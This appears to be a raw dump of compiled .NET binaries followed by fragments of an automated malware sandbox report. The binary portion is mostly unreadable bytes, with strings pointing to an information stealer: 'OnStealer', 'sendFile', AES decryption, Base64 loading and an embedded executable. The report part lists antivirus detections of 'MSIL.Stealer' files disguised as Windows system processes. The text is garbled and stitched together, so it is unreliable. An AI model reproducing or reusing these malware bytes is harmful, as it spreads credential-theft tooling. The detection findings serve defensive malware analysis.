f(%(% (& ~ f(~ f(o$ o$ (' o( +r9~ Ef((# o$ ~ f(%(% (& ~ f(~ f(o$ o$ (7o( o 8( s) o* j[~~ f(o ( j0Ko* %,j2=#333333?o* j[~~ Mf(o ( JYj[l5o+ &Jo* j[iXT&(, :Co o( (+1~o. -~o/ &(, :mo (, : o To 8( J~~ Mf(o ( <_ 9O~0 ~~ f(o o" ~ 3f(( -/~~ f(o ~ *f(( , (1 o2 \/o3 8XT (4 +\~ f(XJ)~ f( (4 -((5 XXJXT o. -- o/ J s) (* j[iXT ~ տf((6 (7 o8 +-&(, :]o (+9/~~ f(~ f((9 o ~~ f(~ f(~ f(~(: o ~~ f((9 ( ~ f(~(: (; o< &9e* 8?s! 8:89s= 8483s! 8. 8-8,(88At{fYC5qH0,I+I-M&+M~ ߿f+D+D+I,+K~ ¿f+B~ f+=~(: o> *s? + ++(+(9 +o> ++(+(+0M+*+/-++-~ f+-*(A +( +s! +(+08 + X+ +++(B +(A ++&݁98} (8y8~8T8QJ oC XRXTXoD YT+gXJoE ~3XR+\XT-+.~XJ3XXJ:ZXJXT+XXJXTXJ:2XXJYT:XJ8R8Q8U8Y8X0 v8{.8{//8z88X880880i1sk z_ 3{0%X _{1_b`}0{1X}1}-}.}/*8e8isj 8k8k8j 8j8j8k8j088T8{"%,X.B8uX8t8u8v8w{)+vTXJXJXJXTXJY-J*(!-{){41 {"@J* 8z8y8z88888(808X8Y8Z8_@8Z8[($%c8S8TbY {z}@8GEy8($TJ@XT+SX($TX($TXJ@io &XJXJs=(&XXJXJXTXJJ2+w@%R(_ @%L(_ (+iYom ( -,o rp )rpsn zrspso zop * 88sF8888 8 8 8+0T %98 8X8 {"T8XJYE"n88{':,8}"*88{(8TJ/*{((2J9_, 9e}'JcE8+H{((,}"+1~6}+~7},}"+sC}*}"*{((%}&/*{((2}"{((-/*{((2}"X{){({&(1T{&XJY}&{&- }"*{(()*{*{((--*{*(&}+{*(.},}"(#*9** 88888/8;8C8B(8C0I 88~%X9&88 _-888-e~0 *8,,@_-?_b~%X-X +7_b~%XbX~%XbX-~%XX- -~^~]~[(R~(U(X ~_~]~[(R i(U([~,(% &-*888888 888` 0D88{)88888{"T8JYE0/8, 8{)8(3Y% /9'*{+{((4% _, /#%:X/*},}+}"*~ Y}$~ Y}#{#1J}"X{({#(TXJ/*-{({#(2{$XJX}$ }":{ {((4/*~ }%~!}#{#1K }"X{({#(TXJ%-/*{({#(2{%XJX}%{){${%(5{$Y,}" <* 88(8888888#0U~+=-~`+6+7,~+ + +-++oq +-~a(^ ++(^+&* 3QQ0G +%{>@++{;++{>+++*+ ++++(i ++sB+0H~G+5_b~G+*c_b`~G+c_b`~G+c`h*++++0888T+Q8%X88{0Ҝ88{0d}088{1Y}1YJXT{110-J*X{/{.YTXJ1XJ{-{.(i {.X}.{.{/Y_,4{-X{.TXJX}.XJ _}0}1JX* 8888888880f+T8Y-+- -+++++ +!+"or ,)++++os +++ -o *st 8 8=D0888{=T8JEJ-+8p8q8q}>8q{>/*8h{> X}>(2}=(}?{?/*{?X}?(2{>{?X}A{A@};}=(}@{@/*{@X}@(2@}:}D}=+AX(TXJ/*(2{:~E{DXJҜ{DX}D{D{@2{:sB}<}:}D}=+<{;X{DTXJX}DXJ%}C{D{A3*{<(4%_,/*2}CY}B}=X~9{BTXJ( /*XJ(2 ~8{BX +'{;X{DTXJX}DXJ{C %Y 0{D{A3*}=8n 8h8g8f8k88(8880P ++{?@+"+#{;+{>++{?+++*+ +++++(i ++sB+0,_+N,Z+Y{2+U+V{3+R+SX}3+M+N{2%X+F+F{3 _}3, _%Y,=*+++ ++++++05@8)8)88XT+D8X88XJT8XJ18XJ)%JXTXXJXTXJi2TX TXT+uXJJJXJXJY_bXTXJ 2?XXJ _TXJ _TXXJXJXJYXJY_cXTXXJXTXJ>XJD}5X T XT8$XJ _TJ XJ XJY_bYT(XJ _T+E{5(XJ('XJeb XJ`hXXJ XJ Y_bXT(X(XJ XT(XJ$XJ2 X XJYT XJ (u 8?8>(*89(u 8482810+f8g{48c8dX}4-+^ 3,+Uz,+V{2+R+S{3 X}3Ҝ--{3 _}3*88 88+sj ++++0T:8 8 (%?8{58%2 -88_88-c*8ceTX_TXJ(%2{5J c`_(2c*X{1TXJ({5J c`,A_XJ0_(2-c**X{1TXJ({52_XJ0_(2c** 88888 8(2888 088{48X%}48 18z8{38Y _8-v 8-Y0c{3/Z0L{2{2{3(i {3X}3*{2{3X}3{2%X %Y0*(/*8483878>sj 8@8@8D 8J8Q0|~+\~`8X8Y~++&+,-,-++,"+ov ++++~a(^-+("** 88(^8+4J0+t8y+++++,-+++(w +o( +&+2+3- + - (7o( &- X i2 +(x +&*s! 8 8()0FU3>q02rprp 8%-~b~rp8 98~c~8-~f~d8rp88~i~h+3+4(p@~k(s&-( ,+(m+,~m(v*s@ 8((a8Fsy 8O(d8Y(g8f(j8f 8eI0S+/, f%, a+$+&~-Y+~--++*++*+++++("++(6+0|)%M+Q-B)%T+A )%U+1 % )%P+!!--*(_ +(_ +(_ +(_ +0 @8:9&,\+8%X88 2,`+-8%X8 8 2+8%X %,62+%X 2sB6 @ +%X 2,sB7* 8H8P8T8W8X8f8i8k8s0\)%S+98-% )%N+'9-%,͍)%Q+E*(_ +(_ +(_ +0)%Q8^F@%O8QG DH @I-\8/+-~H8)08(Xb8&-~I%X88 2+&~H8 Xb('~I%X 2::+(~H X b('9~I%X 2+~HXb('~I%X 2DJ@K:3 +(~Jb('9~K9X 2*(_ 8(_ 8 888('8 888{z}Xy˒ZC`i=6ߊso/.9+xըR,* &tIl"^OlZ7Cc,$>zψҞXAK]VhR@lYR3yiW+3FwD7y\NxJ$Fy^$ʭ Hh|n=i+`Hc(}g1\d>JMuN#A|O|gR眤9`ދīͅ1{|r9yqAkaRBSJBv4.0.30319l$#-x #Strings#US#GUID#Blobw( %3F4mwwz f9p.I.`gr(TLsR};`(`x ;.#V?-rRm````o`fd6`qv` yT C o 8: ; <===-?2@5A 8C FELFLGVGVGVGVG VGN VG VG XJ YM [P \S ^V _Y `\ b_ cb de eh gk in! jq# lt' nw_#3=\dddluy31_1_3\3`3h3k1VnVnVnVn3333 k\\6633\\ 313\11\11\3333333333 !+55!A A#K&U%U)c(c !"#$%&'()*+ -./0123456789:;<=>?@ABCDEFHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwG%*H#X&[';x/ &U#p ]#T]#T0v/U#p d0}3v/3Npu#p u#p u#p u#p u#p u#p }#5#678##9X;= ?#pAADBB$3$Cc$`DDGG#,H+pK3o$%v/pFK%v/pFX%v/pFe%v/pFr%v/pF%v/pF%v/pF&%v/pF0%v/pF:%v/pFF%v/pFP%v/pFZ%v/pF%v/i +4+t!qTqTyYq]fokUsqyE~~qPPV" pp pp p$p c,S44,p qKyYq{!y')Fy1. 8ApA $C4jI @M KC bYq_)~yq$bq{h)yqnqtQ)s*p Pp p ]pf p Tbmmp )PvT|11Tp 1phrlwp|t.h.qCwwwww#C`wcwCcwtL t!x"3LQUioy$+18?FMP L MP!N`!Op!P!Q8"RH"SX"T"U! !"9;=[[~~~~~~Ldarg_0Ldarg_1IEnumerable`1List`1ToInt32Ldarg_2Func`2Action`2Dictionary`2Ldarg_3Func`3Action`3Ldc_I4Int16m000047get_UTF8UIDtypeIDNV9SMSystem.IOLdarg_SFJb2Vvalue__addDatasetCustomColumnDatagetDatasetDatarawDatamscorlibSubSystem.Collections.Genericget_IsStaticReadOnLoadAddDynamicMethodmethodReplaceIsNullOrWhiteSpaceOpCodeAddRangeEndInvokeBeginInvokeEnumerableIDisposableRuntimeFieldHandleRuntimeMethodHandleResolveMethodHandleget_ModuleHandleRuntimeTypeHandleResolveTypeHandleGetMethodFromHandleGetTypeFromHandlesendFileget_Moduleget_NameGetFileNameConfigPluginNameget_UserNameget_NewLineget_FieldTypeValueTypeget_ReturnTypeownerTypeget_ParameterTypeWhereSystem.CoreMethodBaseCloseDisposeOnAPIDelegatesCreateCreateDelegateCreateGetStringDelegateMulticastDelegateCompilerGeneratedAttributeAttributeUsageAttributeAssemblyFileVersionAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeReadByteTryGetValueSetValueRemoveBuildTagConfigSystem.ThreadingEncodingFromBase64StringToStringGetStringMathGetFullPathGetFolderPathget_LengthiAsyncCallbackcallbackTransformFinalBlockCallTailcallGetManifestResourceStreamMemoryStreamget_ItemSystemSymmetricAlgorithmICryptoTransformEnumget_MetadataTokenMinPluginJoinSystem.ReflectionSearchOptionArgumentOutOfRangeExceptionInvalidOperationExceptionFormatExceptionInternFieldInfoMethodInfoFileInfoMemberInfoParameterInfoSystem.LinqCharAesCryptoServiceProviderSpecialFolderOnStealerEnterToLowerGetEnumeratorGetILGenerator.ctor.cctorMonitorCreateDecryptorCreateEncryptordummy_ptrGetFieldsGetMethodsSystem.Runtime.CompilerServicesOpCodesGetDirectoriesGetFilesGetModulesCreateMemberRefsDelegatesReadAllBytesBindingFlagsStringsContainsStringSplitOptionsget_CharsRuntimeHelpersGetParametersHostAddressAttributeTargetssetStatusConcatObjectobjectDistinctRetSplitSystem.Reflection.EmitOnInitExitIAsyncResultOnStealerWorkResultresultEnvironmentget_CurrentCountGetPathRootConvertCallvirtToListMoveNextSystem.TextInitializeArraySystem.Security.CryptographyGetExecutingAssemblydummyCopyDirectoryop_EqualityIsNullOrEmptyMemberRefsProxy{371c3b25-07f8-4959-89d0-1ed463edbf00}{89c0f160-8fda-4456-bcc4-2db1b302c877}{f4c49c79-c41d-499d-81cf-d1b27951827e}versionaSelected compression algorithm is not supported.Unknown Header0231M{371c3b25-07f8-4959-89d0-1ed463edbf00}]Dd"ObĪz\V4 )%%!!1 AE Q U %! ] ] ] ]]] ] 5 ]] i !%G )-%111) ! )-%1)5] ae a8` `\\ \ X\pXdh \\ ih\`d`\\`d\ !P\`hd |x A E Q U TWrapNonExceptionThrowslD@A!!!!"]] pPi i!Uh}~} p}_CorDllMainmscoree.dll% @0HX4VS_VERSION_INFO? StringFileInfo000004B0$FileVersion$InternalName(LegalCopyright ,OriginalFilename(ProductVersion,Assembly VersionDVarFileInfo$Translationp=", Executable loaded in memory "MZ@ !L!This program cannot be run in DOS mode. $PEL#b!Rq @ @pO$ H.text$Q R `.rsrc$T@@.relocX@BqHO(!NM:`&^ #+3;CScs DdhøO!Q !1Aa 0@`2+*+(( *++~ f+*() +( +(+(Q *>++*+(+(( s+}s3}}{io**+*++{%+'_d}%-++{&+Y}&,*++++++.+{&*++${$+ {#-Y-+{&-c-X*++++++,{%+({&__d}%++{&_}&*+++++^+{#+{$*++F +{)Y*+.+{)*+^ 9}'(( *:(( (6*+ +++b`*+o` ++o` +++++b`*+(?++(?+&(a *2!+*(+2"+*(+2#+*(+2$+*(+2%+*(+2&+*(+2'+*(+2(+*(+2)+*(+2*+*(+2++*(+2,+*(+2-+*(+2.+*(+2/+*(+0+,++(++(+&*0~~ f888~ lf889~ {f8888o o o ~ Jf(o ~ af(( ( ~ f(~ f(o ~ f(( o ( &#(8]s 8X8W8V&( ( (! %: 8 9~ {f(s o -o o ~ Jf(o -~ af(~ f(~ f(o ~ f(( o ( && X i?<*,o" 8 (# ~ {f(s o o o -F~ Jf(o ~ af(~ f(( o ( && ($ :g o ,*(8go% 8bo& 8](8b( 8]47'0M~M~K++ + ,%,+,%,(D+s' +(G+ +&%-*+*+??08 + X+ +++(* +() ++&݁98} (8y8~8T8QJ o+ XRXTXo, YT+gXJo- ~3XR+\XT-+.~XJ3XXJ:ZXJXT+XXJXTXJ:2XXJYT:XJ XJo? XXJXTXJXJ2~@ o: XF-~A +~B oC ~D o: oE & oF &-JXTJi?* 8I8}oG 8}8|8{@ )3" /C20Z,:3%+%+ , +#+(++--,*(H +() +( +oI +oJ +08[8\ (8X8]8^T,8-8U8VJ8U8o1 () .9~5 () %8() oK sL o8 ~9 o: () oM XT+]XJo6 () 34~N oO _o? ~P o: ~A oC +,XXJXTXJi-2~D o: () oE oF 8&JXTJi?* 88oG 888888A=P0|~+\~N8X8Y~ ++&+,-,-++,"+oR ++++~O(J-+(** 88(J8+4J0I88~ %X9&88 _-888-e~5 *8,,@_-?_b~ %X-X +7_b~ %XbX~ %XbX-~ %XX- -~S~R~P(M~ (P(S ~T~R~P(M i(P(V~,( &-*888888 888` 0U~+=-~N+6+7,~ + + +-++oS +-~O(J ++(J+&* 3QQ02rprp, 8%- ~U~rp8,98 ~V~8- ~Y~W8r p88~\~[+3+4(h9~^(k&-( ,+(e+,~`(n*s( 8((Y8FsT 8O(\8Y(_8f(b8f 8eI0S+/, f%, a+$+&~ -Y+~--++*++*+++++(++(+0f +T8Y-+- -+++++ +!+"oU ,)++++oV +++ -o *sW 8 8=D0 8X8Y8Z8_98Z8[o@%c8S8TbY {z}@8GEy8o@TJ9XT+SXo@TXo@TXJ9io &sXJXJo!&XXJXJXTXJJ2+w9%G(H 9%A(H (iYoX (-,o r[p 8rkpsY zrpsZ zo[ * 88sA8888 8 8 8+0D88{88888{T8JYE0/8, 8{8o,Y% /9'*{ {o7% _, /#%:X/*}!} }*~ Y}~ Y}{1J}X{{o#TXJ/*-{{o${XJX} }:{!{o7/*~}~}{1K }X{{o#TXJ%-/*{{o${XJX}{{{o.{Y,} <* 88o08888888#0T%98 8X8 {T8XJYE"n88{:,8}*88{8TJ/*{o$J9_, 9e}JcE8+H{o',}+1~+} ~,}!}+s;}}*{o#%}/*{o$}{o#-/*{o$}X{{{o/T{XJY}{- }*{o(*{{o8-*{o9} {o:}!}(*9** 88888/8;8C8Bo#8C0 +w8xT8w{%,O.98lX8k{+j+n+r+vTXJXJXJXTXJY-J*( -{o11 {@J* 88888888o280|8%B+Q-B8%I+A,8%J+1%,8%E+!--*(H +(H +(H +(H +08{&8<8{#8{$3:,o*,88{%8{"88{# X}# _{"{# X}# _b`{&_b`}%{&X}&{%n-_b-%,Yj_i*82868:8>8R8Q8U8Y8X08 88T+Q8%X88{%Ҝ88{%d}%88{&Y}&YJXT{&10-J*X{${#YTXJ1XJ{"{#(\ {#X}#{#{$Y_,4{"X{#TXJX}#XJ _}%}&JX* 8888888880,v8{#8{$/8z88X880880i1s] z_,3{%%X _{&_b`}%{&X}&}"}#}$*8e8is^ 8k8k8j 8j8j8k8j0+f8g{)8c8dX})-+^ 3 +Uz +V{'+R+S{( X}(Ҝ--{( _}(*88 88+s^ ++++0,_+N,Z+Y{'+U+V{(+R+SX}(+M+N{'%X+F+F{( _}(, _%Y,=*+++ ++++++088{)8X%})8 18z8{(8Y _8-v 8-Y0c{(/Z0L{'{'{((\ {(X}(*{'{(X}({'%X %Y0*(-*8483878>s^ 8@8@8D 8J8Q0 88 %,8{)Y888888X {(YTXJ1:{'{(XJo)TJXJ3/J{'XJYo)XT+{'{(o)T{(JX _}({)JX})J* 88878>(_ 8?8>o&89(_ 8482810 888{(T88{)9 o18{)8+88{({)YX _TXT---XJYTXJ%-"1'{' XJYXJ(\ XJXJ{'JY(\ {)XJY}){)/s^ zXJ* 8%8$8#8(8'86898:890 98:9&,\+8%X88 2,`+-8%X8 8 2+8%X %,62+%X 2s5+ 9 +%X 2,s5,* 8H8P8T8W8X8f8i8k8s05@888888XT+D8X88XJT8XJ18XJ8%JXTXXJXTXJi2TX TXT+uXJJJXJXJY_bXTXJ 2?XXJ _TXJ _TXXJXJXJYXJY_cXTXXJXTXJ>XJ@}*X T XT8$XJ _TJ XJ XJY_bYT(XJ _T+E{*(XJ(=XJeb XJ`hXXJ XJ Y_bXT(X(XJ XT(XJ$XJ2 X XJYT XJ -\8/+-~=8)08(Xb8&-~>%X88 2+&~=8 Xb(=~>%X 2::+(~= X b(=9~>%X 2+~=Xb(=~>%X 2@?9@:3 +(~?b(=9~@9X 2*(H 8(H 8 888(=8 888{z}9ab`,ˬՐʃԄɑ bal;|*ݾa](%6ϰUmFz`\8X Tce=G돳᫳k3#Xn:o3Ճ>QvK=w:cX܍?^<- Fݨs{}BSJBv4.0.30319l#-#Strings|#USh#GUIDx#Blobw( %3A1`ooa%hVIB\BBT7ZKMkM.M % -%n %3O{spf77m777UM`@O5r%p "#',*4 -8 ;=A?ABKBKBKBKB KBKB KB LE NH PK QN SQ TT UW VZ W] X` Zc \f ]i" _laoI3;111?1C1K1N1QQV_V_V_V_1111QQQQ QN?QQQ?QQ6611??QQQQ Q QQ111?11?11?3333333333 )4>IS]]iis"}!}%$ !"#$%&'()*+,-./0123456789:;<=>?@ACDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnoBH#N&{<&T)U# ]# ), T- ! M'H >5# # # # # # #T/T/T1Y1 2T# # D3w3#570:p: |;#x$&$V$ $xT??@$$Bp$ 4C $8D|GHKLU# pL L M $%3%F !FM=% !FMJ% !FMW% !FMd% !FM q% !FM.~% !FM9% !FMC% !FMN% !FMX% !FMb% !FMn% !FMx% !FM% !FM% (%,gI)Q.a4aU4ix9i>qFy_Ly=Qq>W \a gq>kp x } }) Ly/y}}uzyQ A1@y yAAAQZYAayYIrii%y'+qI0y/+yN+yc+y+qI7yr+ym+y+qI?y3+iIQQ8Wakrwi}Byk+1y+ $$$ .} $ 1UIDtypeIDSystem.IOLdarg_SIs1jm2w0L3MH28uSvalue__mscorlibset_VerbSubSystem.Collections.Genericget_IsStaticReadAddDynamicMethodInstallationMethodmethodReplaceOpCodeEndInvokeBeginInvokeIDisposableRuntimeFieldHandleRuntimeMethodHandleResolveMethodHandleget_ModuleHandleRuntimeTypeHandleResolveTypeHandleGetMethodFromHandleGetTypeFromHandleIsInRoleWindowsBuiltInRoleget_Moduleset_WindowStyleProcessWindowStyleget_NameConfigPluginNameget_FieldTypeValueTypeget_ReturnTypeownerTypeget_ParameterTypeSystem.CoreMethodBaseCloseDisposeCreateDelegateCreateGetStringDelegateMulticastDelegateCompilerGeneratedAttributeAttributeUsageAttributeAssemblyFileVersionAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeset_UseShellExecuteReadByteTryGetValueSetValueBuildTagConfigSystem.ThreadingEncodingFromBase64StringGetStringMathPathget_LengthiAsyncCallbackcallbackTransformFinalBlockSystem.Security.PrincipalWindowsPrincipalCallTailcallOnInstallGetManifestResourceStreamMemoryStreamget_ItemSystemSymmetricAlgorithmTrimICryptoTransformEnumget_MetadataTokenMinPluginSystem.ReflectionArgumentOutOfRangeExceptionInvalidOperationExceptionFormatExceptionInternFieldInfoMethodInfoMemberInfoParameterInfoProcessStartInfoCharAesCryptoServiceProviderEnterGetEnumeratorGetILGenerator.ctor.cctorMonitorCreateDecryptorCreateEncryptordummy_ptrSystem.DiagnosticsGetFieldsGetMethodsSystem.Runtime.CompilerServicesOpCodesGetDirectoriesGetModulesCreateMemberRefsDelegatesBindingFlagsStringsInstallationPathsget_CharsRuntimeHelpersGetParametersProcessAttributeTargetsset_ArgumentsConcatObjectobjectRetSystem.Reflection.EmitOnInitExitIAsyncResultresultEnvironmentget_CurrentGetCurrentGetPathRootStartConvertCallvirtMoveNextSystem.Textset_CreateNoWindowInitializeArraySystem.Security.CryptographyGetExecutingAssemblydummyCopyget_SystemDirectoryop_EqualityWindowsIdentityEmpty79jwYs1UOc5hFmuyMemberRefsProxy{d43ce598-bc32-44ec-be58-db0883b2bfa0}{8b3c3c07-a856-4692-89cb-689f20605fe4}{80bab5b3-69fa-49c5-b0ed-800b07e79bcd}1117M{80bab5b3-69fa-49c5-b0ed-800b07e79bcd}versionaSelected compression algorithm is not supported.Unknown Headerz5dlIOLz\V4 M% -5 A E u } y %Q Q Q QQQ Q ! QQ ] MM!Q UY U4H ]TX`\ T T T \t|px % - 5 A E TWrapNonExceptionThrowslD@yyyyyy"QQ E] hH]pq q_CorDllMainmscoree.dll% @0HX4VS_VERSION_INFO? StringFileInfo000004B0$FileVersion$InternalName(LegalCopyright OriginalFilename(ProductVersion Assembly VersionDVarFileInfo$Translationp 1"6a:T58d,16/26 Antivirus vendors marked dropped file "Memory Compression.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "csrss.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "wininit.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "sihost.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "mitmdump.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "ctfmon.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "Portsvc.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "dwm.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "ApplicationFrameHost.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "conhost.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate) 16/26 Antivirus vendors marked dropped file "TrustedInstaller.exe" as malicious (classified as "MSIL.Stealer" with 61% detection rate)6b:T14b7,"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00005560.00000000.155033.04CD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"69ddea21f156ab96c7046b05"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69ddea21f156ab96c7046b05"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00003020.00000001.154671.003C9000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00003020.00000001.154671.003C9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69ddea21f156ab96c7046b05"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"